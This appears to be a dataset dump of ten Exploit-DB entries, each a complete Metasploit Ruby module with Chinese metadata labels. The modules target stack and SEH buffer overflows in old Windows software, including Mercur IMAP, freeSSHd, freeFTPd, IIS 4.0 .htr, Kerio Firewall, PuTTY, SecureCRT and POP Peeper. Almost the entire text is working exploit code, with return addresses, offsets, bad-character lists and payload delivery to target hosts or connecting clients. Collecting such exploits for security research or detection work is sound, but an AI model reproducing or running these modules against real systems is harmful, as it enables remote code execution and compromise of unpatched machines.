QLWD/code_shield huggingface dataset:
标题: Mercur MailServer 5.0 - IMAP SP3 SELECT Buffer Overflow (Metasploit) EDB-ID: 16476 CVE: 2006-1255 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: mercur_imap_select_overflow.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Imap

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Mercur v5.0 IMAP SP3 SELECT Buffer Overflow',
   'Description'    => %q{
     Mercur v5.0 IMAP server is prone to a remotely exploitable
    stack-based buffer overflow vulnerability. This issue is due
    to a failure of the application to properly bounds check
    user-supplied data prior to copying it to a fixed size memory buffer.
    Credit to Tim Taylor for discover the vulnerability.
   },
   'Author'         => [ 'Jacopo Cervini <acaro [at] jervus.it>' ],
   'License'        => BSD_LICENSE,
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     [ 'CVE', '2006-1255' ],
     [ 'OSVDB', '23950' ],
     [ 'BID', '17138' ],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 400,
     'BadChars' => "\x00",
     'StackAdjustment' => -3500,

    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Windows 2000 Server SP4 English',  { 'Offset' => 126, 'Ret' => 0x13e50b42 }],
     ['Windows 2000 Pro SP1 English',     { 'Offset' => 127, 'Ret' => 0x1446e242 }],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Mar 17 2006'))

 end

 def exploit
  sploit =  "a001 select " + "\x43\x49\x41\x4f\x20\x42\x41\x43\x43\x4f\x20"
  sploit << rand_text_alpha_upper(94) + rand_text_alpha_upper(target['Offset'])
  sploit << [target.ret].pack('V') + "\r\n" + rand_text_alpha_upper(8)
  sploit << payload.encoded + rand_text_alpha_upper(453)

  info = connect_login

  if (info == true)
   print_status("Trying target #{target.name} using heap address at 0x%.8x..." % target.ret)
   sock.put(sploit + "\r\n")
  else
   print_status("Not falling through with exploit")
  end

  handler
  disconnect
 end
end URL: https://www.exploit-db.com/exploits/16476
标题: freeFTPd 1.0.10 - Key Exchange Algorithm String Buffer Overflow (Metasploit) EDB-ID: 16462 CVE: 2006-2407 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: freeftpd_key_exchange.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'FreeFTPd 1.0.10 Key Exchange Algorithm String Buffer Overflow',
   'Description'    => %q{
     This module exploits a simple stack buffer overflow in FreeFTPd 1.0.10
    This flaw is due to a buffer overflow error when handling a specially
    crafted key exchange algorithm string received from an SSH client.
    This module is based on MC's freesshd_key_exchange exploit.
   },
   'Author'         => 'riaf [at] mysec.org',
   'License'        => BSD_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     ['CVE', '2006-2407'],
     ['OSVDB', '25569'],
     ['BID', '17958'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 500,
     'BadChars' => "\x00",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows 2000 SP0-SP4 English',     { 'Ret' => 0x750231e2 } ],
     [ 'Windows 2000 SP0-SP4 German',      { 'Ret' => 0x74f931e2 } ],
     [ 'Windows XP SP0-SP1 English',       { 'Ret' => 0x71ab1d54 } ],
     [ 'Windows XP SP2 English',           { 'Ret' => 0x71ab9372 } ],
    ],
   'Privileged'     => true,
   'DisclosureDate' => 'May 12 2006',
   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(22)
   ], self.class)
 end

 def exploit
  connect

  sploit =  "SSH-2.0-OpenSSH_3.9p1"
  sploit << "\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00\x00\x00"
  sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde"
  sploit << rand_text_alphanumeric(1055) + [target.ret].pack('V')
  sploit << payload.encoded + rand_text_alphanumeric(19000) + "\r\n"

  res = sock.recv(40)
  if ( res =~ /SSH-2\.0-WeOnlyDo-wodFTPD 2\.1\.8\.98/)
   print_status("Trying target #{target.name}...")
   sock.put(sploit)
  else
   print_status("Not running a vulnerable version...")
  end

  handler
  disconnect

 end
end URL: https://www.exploit-db.com/exploits/16462
标题: Realtek Media Player Playlist - Remote Buffer Overflow (Metasploit) EDB-ID: 16456 CVE: 2008-5664 类型: REMOTE 平台: WINDOWS 发布日期: 2010-11-24 漏洞利用脚本: ##
# $Id: realtek_playlist.rb 11127 2010-11-24 19:35:38Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Realtek Media Player Playlist Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Realtek Media Player(RtlRack) A4.06.
    When a Realtek Media Player client opens a specially crafted playlist, an
    attacker may be able to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 11127 $',
   'References'     =>
    [
     [ 'CVE', '2008-5664'],
     [ 'OSVDB', '50715'],
     [ 'BID', '32860' ],
    ],
   'Payload'        =>
    {
     'Space'           => 550,
     'BadChars'   => "\x00",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Realtek Media Player(RtlRack) A4.06 (XP Pro All English)', { 'Ret' => 0x72d12899 } ], #  msacm32.drv 5.1.2600.0  (xpclient.010817-1148)
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Dec 16 2008',
   'DefaultTarget'  => 0))
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)

  return if ((p = regenerate_payload(cli)) == nil)

  pla =  rand_text_alpha_upper(200)
  pla << generate_seh_payload(target.ret)
  pla << rand_text_alpha_upper(1266)

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

  send_response_html(cli, pla, { 'Content-Type' => 'text/plain' })

  handler(cli)

 end

end URL: https://www.exploit-db.com/exploits/16456
标题: Microsoft IIS 4.0 - '.htr' Path Overflow (MS02-018) (Metasploit) EDB-ID: 16468 CVE: 1999-0874 类型: REMOTE 平台: WINDOWS 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: ms02_018_htr.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft IIS 4.0 .HTR Path Overflow',
   'Description'    => %q{
     This exploits a buffer overflow in the ISAPI ISM.DLL used to
    process HTR scripting in IIS 4.0. This module works against
    Windows NT 4 Service Packs  3, 4, and 5. The server will
    continue to process requests until the payload being
    executed has exited. If you've set EXITFUNC to 'seh', the
    server will continue processing requests, but you will have
    trouble terminating a bind shell. If you set EXITFUNC to
    thread, the server will crash upon exit of the bind shell.
    The payload is alpha-numerically encoded without a NOP sled
    because otherwise the data gets mangled by the filters.
   },
   'Author'         => [ 'stinko' ],
   'License'        => BSD_LICENSE,
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     [ 'CVE', '1999-0874'],
     [ 'OSVDB', '3325'],
     [ 'BID', '307'],
     [ 'URL', 'http://www.eeye.com/html/research/advisories/AD19990608.html'],
     [ 'MSB', 'MS02-018'],
    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 2048,
     'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Windows NT 4.0 SP3', {'Platform' => 'win', 'Rets' => [ 593, 0x77f81a4d ] }],
     ['Windows NT 4.0 SP4', {'Platform' => 'win', 'Rets' => [ 593, 0x77f7635d ] }],
     ['Windows NT 4.0 SP5', {'Platform' => 'win', 'Rets' => [ 589, 0x77f76385 ] }],
    ],
   'DisclosureDate' => 'Apr 10 2002',
   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(80)
   ], self.class)
 end

 def exploit
  connect

  buf = 'X' * target['Rets'][0]
  buf << [ target['Rets'][1] ].pack('V')
  buf << payload.encoded

  req = "GET /#{buf}.htr HTTP/1.0\r\n\r\n"
  print_status("Trying target #{target.name} with jmp eax at 0x%.8x..." % target['Rets'][1])
  sock.put(req)
  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16468
标题: Kerio Personal Firewall 2.1.4 - Authentication Packet Overflow (Metasploit) EDB-ID: 16465 CVE: 2003-0220 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-15 漏洞利用脚本: ##
# $Id: kerio_auth.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Kerio Firewall 2.1.4 Authentication Packet Overflow',
   'Description'    => %q{
    This module exploits a stack buffer overflow in Kerio Personal Firewall
    administration authentication process. This module has only been tested
    against Kerio Personal Firewall 2 (2.1.4).
   },
   'Author'         => 'MC',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9525 $',
   'References'     =>
    [
     ['CVE', '2003-0220'],
     ['OSVDB', '6294'],
     ['BID', '7180'],
     ['URL', 'http://www1.corest.com/common/showdoc.php?idx=314&idxseccion=10'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 800,
     'BadChars' => "\x00",
     'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec68b } ],
     [ 'Windows XP Pro SP0 English',   { 'Ret' => 0x77e3171b } ],
     [ 'Windows XP Pro SP1 English',   { 'Ret' => 0x77dc5527 } ],
    ],
   'Privileged'     => true,
   'DisclosureDate' => 'Apr 28 2003',
   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(44334)
   ], self.class)
 end

 def exploit
  connect

  print_status("Trying target #{target.name}...")

  sploit =  make_nops(4468) + payload.encoded
  sploit << [target.ret].pack('V') + [0xe8, -850].pack('CV')

  sock.put(sploit)
  sock.get_once(-1, 3)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16465
标题: PuTTy.exe 0.53 - Remote Buffer Overflow (Metasploit) EDB-ID: 16463 CVE: 2002-1359 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-15 漏洞利用脚本: ##
# $Id: putty_msg_debug.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::TcpServer

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'PuTTy.exe <= v0.53 Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in the PuTTY SSH client that is triggered
    through a validation error in SSH.c.
   },
   'Author'         => 'MC',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9525 $',
   'References'     =>
    [
     [ 'CVE', '2002-1359' ],
     [ 'OSVDB', '8044'],
     [ 'URL', 'http://www.rapid7.com/advisories/R7-0009.html' ],
     [ 'BID', '6407'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 400,
     'BadChars' => "\x00",
     'MaxNops'  => 0,
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ],
     [ 'Windows XP SP2 English',   { 'Ret' => 0x76b43ae0 } ],
     [ 'Windows 2003 SP1 English', { 'Ret' => 0x76aa679b } ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Dec 16 2002',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptPort.new('SRVPORT', [ true, "The SSH daemon port to listen on", 22 ])
   ], self.class)
 end

 def on_client_connect(client)
  return if ((p = regenerate_payload(client)) == nil)

  buffer =
   "SSH-2.0-OpenSSH_3.6.1p2\r\n" +
   "\x00\x00\x4e\xec\x01\x14" +
   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde" +
   (((((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde") * 2) +
   (((rand_text_alphanumeric(64)) + ",") * 2) + rand_text_alphanumeric(21) +
   [target.ret].pack('V') + make_nops(10) + p.encoded +
   (((rand_text_alphanumeric(64)) + ",") * 15) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +
   (((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +
   (((rand_text_alphanumeric(64)) + ",") * 21) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +
   (((((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde") * 6) +
   "\x00\x00\x00\x00\x00\x00"

  print_status("Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...")

  client.put(buffer)
  handler

  service.close_client(client)
 end

end URL: https://www.exploit-db.com/exploits/16463
标题: POP Peeper 3.4 - UIDL Buffer Overflow (Metasploit) EDB-ID: 16458 CVE: 2009-1029 类型: REMOTE 平台: WINDOWS 发布日期: 2010-11-30 漏洞利用脚本: ##
# $Id: poppeeper_uidl.rb 11180 2010-11-30 20:19:18Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::TcpServer
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'POP Peeper v3.4 UIDL Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in POP Peeper v3.4.
    When a specially crafted UIDL string is sent to a client,
    an attacker may be able to execute arbitrary code. This
    module is based off of krakowlabs code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 11180 $',
   'References'     =>
    [
     [ 'OSVDB', '53559' ],
     [ 'CVE', '2009-1029' ],
     [ 'BID', '33926' ],
     [ 'URL', 'http://www.krakowlabs.com/res/adv/KL0209ADV-poppeeper_uidl-bof.txt' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 750,
     'BadChars' => "\x00\x0a\x20\x0d",
     'StackAdjustment'  => -3500,
     'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
     'DisableNops' => 'True',
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'POP Peeper v3.4', { 'Ret' => 0x10014e39 } ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Feb 27 2009',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptPort.new('SRVPORT', [ true, "The POP daemon port to listen on", 110 ])
   ], self.class)
 end

 def on_client_connect(client)
  ok = "+OK\r\n"
  client.put(ok)
 end

 def on_client_data(client)
  return if ((p = regenerate_payload(client)) == nil)

  ok = "+OK\r\n"
  client.put(ok)

  client.get_once

  ok = "+OK\r\n"
  client.put(ok)

  client.get_once

  ok = "+OK 1 100\r\n"
  client.put(ok)

  client.get_once

  sploit = "+OK\r\n1 " + rand_text_alpha_upper(1072) + generate_seh_payload(target.ret) + "\r\n.\r\n"

  client.put(sploit)

  handler
  service.close_client(client)
 end

end URL: https://www.exploit-db.com/exploits/16458
标题: ShixxNOTE 6.net - Font Field Overflow (Metasploit) EDB-ID: 16454 CVE: 2004-1595 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-15 漏洞利用脚本: ##
# $Id: shixxnote_font.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'ShixxNOTE 6.net Font Field Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in ShixxNOTE 6.net.
    The vulnerability is caused due to boundary errors in the
    handling of font fields.
   },
   'Author'         => 'MC',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9525 $',
   'References'     =>
    [
     ['CVE', '2004-1595'],
     ['OSVDB', '10721'],
     ['BID', '11409'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 650,
     'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',

   'Targets'        =>
    [
     [ 'ShixxNOTE 6.net Universal', { 'Ret' => 0x10041951 } ],
    ],

   'Privileged'     => false,

   'DisclosureDate' => 'Oct 4 2004',

   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(2000)
   ], self.class)

 end

 def exploit
  connect

  print_status("Trying target #{target.name}...")

  sploit  =  rand_text_alpha_upper(8, payload_badchars)
  sploit  += "~~"
  sploit  += rand_text_alpha_upper(118, payload_badchars)

  seh     =  generate_seh_payload(target.ret)

  sploit[112, seh.length] = seh
  sploit  += rand_text_alpha_upper(200, payload_badchars)
  sploit  += "~" * 10

  sock.put(sploit)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16454
标题: freeSSHd 1.0.9 - Key Exchange Algorithm String Buffer Overflow (Metasploit) EDB-ID: 16461 CVE: 2006-2407 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: freesshd_key_exchange.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'FreeSSHd 1.0.9 Key Exchange Algorithm String Buffer Overflow',
   'Description'    => %q{
     This module exploits a simple stack buffer overflow in FreeSSHd 1.0.9.
    This flaw is due to a buffer overflow error when handling a specially
    crafted key exchange algorithm string received from an SSH client.
   },
   'Author'         => 'MC',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     ['CVE', '2006-2407'],
     ['OSVDB', '25463'],
     ['BID', '17958'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 500,
     'BadChars' => "\x00",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e56f43 } ],
     [ 'Windows XP Pro SP0 English',   { 'Ret' => 0x77e51877 } ],
     [ 'Windows XP Pro SP1 English',   { 'Ret' => 0x77e53877 } ],
    ],
   'Privileged'     => true,
   'DisclosureDate' => 'May 12 2006',
   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(22)
   ], self.class)
 end

 def exploit
  connect

  sploit =  "SSH-2.0-OpenSSH_3.9p1"
  sploit << "\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00\x00\x00"
  sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde"
  sploit << rand_text_alphanumeric(1055) + [target.ret].pack('V')
  sploit << payload.encoded + rand_text_alphanumeric(19000) + "\r\n"

  res = sock.recv(22)
  if ( res =~ /SSH-2.0-WeOnlyDo 1.2.7/)
   print_status("Trying target #{target.name}...")
   sock.put(sploit)
  else
   print_status("Not running a vulnerable version...")
  end

  handler
  disconnect

 end
end URL: https://www.exploit-db.com/exploits/16461
标题: SecureCRT 4.0 Beta 2 SSH1 - Remote Buffer Overflow (Metasploit) EDB-ID: 16460 CVE: 2002-1059 类型: REMOTE 平台: WINDOWS 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: securecrt_ssh1.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::TcpServer

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'SecureCRT <= 4.0 Beta 2 SSH1 Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in SecureCRT <= 4.0
    Beta 2. By sending a vulnerable client an overly long
    SSH1 protocol identifier string, it is possible to execute
    arbitrary code.

    This module has only been tested on SecureCRT 3.4.4.
   },
   'Author'         => 'MC',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     [ 'CVE', '2002-1059' ],
     [ 'OSVDB', '4991' ],
     [ 'BID', '5287' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 400,
     'BadChars' => "\x00",
     'MaxNops'  => 0,
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'SecureCRT.exe (3.4.4)', { 'Ret' => 0x0041b3e0 } ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Jul 23 2002',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptPort.new('SRVPORT', [ true, "The SSH daemon port to listen on", 22 ])
   ], self.class)
 end

 def on_client_connect(client)
  return if ((p = regenerate_payload(client)) == nil)

  buffer =  "SSH-1.1-OpenSSH_3.6.1p2\r\n" + rand_text_english(243)
  buffer << [target.ret].pack('V') + make_nops(20) + payload.encoded

  print_status("Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...")

  client.put(buffer)
  handler

  service.close_client(client)
 end

end URL: https://www.exploit-db.com/exploits/16460